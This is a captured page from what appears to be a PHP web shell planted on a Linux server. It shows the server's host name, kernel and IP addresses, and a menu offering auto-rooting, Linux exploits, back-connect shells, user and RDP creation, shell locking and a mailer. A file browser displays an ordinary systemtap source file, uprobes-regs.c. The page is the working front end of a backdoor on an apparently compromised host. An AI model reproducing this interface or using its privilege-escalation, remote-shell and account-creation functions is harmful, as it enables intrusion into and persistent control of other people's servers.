Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
dyninst /
[ HOME SHELL ]
Name
Size
Permission
Action
addr-map.c
525
B
-rw-r--r--
alloc.c
1.16
KB
-rw-r--r--
arith.c
2.24
KB
-rw-r--r--
common_session_state.h
6.76
KB
-rw-r--r--
copy.c
4
KB
-rw-r--r--
debug.h
413
B
-rw-r--r--
ilog2.h
2.87
KB
-rw-r--r--
io.c
4.43
KB
-rw-r--r--
linux_defs.h
5.58
KB
-rw-r--r--
linux_hash.h
1.83
KB
-rw-r--r--
linux_types.h
654
B
-rw-r--r--
loc2c-runtime.h
2.44
KB
-rw-r--r--
map_list.h
1.03
KB
-rw-r--r--
map_runtime.h
5.04
KB
-rw-r--r--
namespaces.h
0
B
-rw-r--r--
offptr.h
4.68
KB
-rw-r--r--
offset_list.h
4.32
KB
-rw-r--r--
perf.c
0
B
-rw-r--r--
print.c
2.37
KB
-rw-r--r--
probe_lock.h
1.81
KB
-rw-r--r--
regs.c
2.14
KB
-rw-r--r--
runtime.h
9.49
KB
-rw-r--r--
runtime_context.h
6.4
KB
-rw-r--r--
runtime_defines.h
235
B
-rw-r--r--
session_attributes.c
1.68
KB
-rw-r--r--
session_attributes.h
772
B
-rw-r--r--
shm.c
6.03
KB
-rw-r--r--
stapdyn.h
3.37
KB
-rw-r--r--
stat_runtime.h
1.79
KB
-rw-r--r--
sym.c
40
B
-rw-r--r--
task_finder.c
0
B
-rw-r--r--
timer.c
2.71
KB
-rw-r--r--
transport.c
30.4
KB
-rw-r--r--
transport.h
3.88
KB
-rw-r--r--
unwind.c
0
B
-rw-r--r--
uprobes-regs.c
1.94
KB
-rw-r--r--
uprobes.c
1.76
KB
-rw-r--r--
uprobes.h
953
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : uprobes-regs.c
/* -*- linux-c -*- * function for preparing registers for dyninst-based uprobes * Copyright (C) 2012-2013 Red Hat Inc. * * This file is part of systemtap, and is free software. You can * redistribute it and/or modify it under the terms of the GNU General * Public License (GPL); either version 2, or (at your option) any * later version. */ #ifndef _UPROBES_REGS_DYNINST_C_ #define _UPROBES_REGS_DYNINST_C_ int enter_dyninst_uprobe_regs(uint64_t index, unsigned long nregs, ...) { struct pt_regs regs = {}; va_list varegs; va_start(varegs, nregs); #ifdef __i386__ // XXX Dyninst currently has a bug where it's only passing a 32-bit // index, which means nregs gets stuffed into the upper bits of index, // and the varegs are all off by one. Hacking it into shape for now... if (index > UINT32_MAX) { SET_REG_IP((®s), nregs); nregs = index >> 32; index &= UINT32_MAX; } else #endif if (likely(nregs > 0)) SET_REG_IP((®s), va_arg(varegs, unsigned long)); #if defined(__i386__) || defined(__x86_64__) /* NB: x86 pt_regs_store_register() expects literal register numbers to * paste as CPP tokens, so unfortunately this has to be unrolled. */ #define SET_REG(n) if (likely(n < nregs - 1)) \ pt_regs_store_register((®s), n, \ va_arg(varegs, unsigned long)) SET_REG(0); SET_REG(1); SET_REG(2); SET_REG(3); SET_REG(4); SET_REG(5); SET_REG(6); SET_REG(7); #if defined(__x86_64__) SET_REG(8); SET_REG(9); SET_REG(10); SET_REG(11); SET_REG(12); SET_REG(13); SET_REG(14); SET_REG(15); #endif #undef SET_REG #else #if defined(__powerpc__) || defined(__powerpc64__) #define MAX_REG 32 #else #error "Unknown architecture!" #endif for (unsigned long r = 0; r < MAX_REG && r < nregs - 1; ++r) pt_regs_store_register((®s), r, va_arg(varegs, unsigned long)); #undef MAX_REG #endif va_end(varegs); return enter_dyninst_uprobe(index, ®s); } #endif /* _UPROBES_REGS_DYNINST_C_ */
Close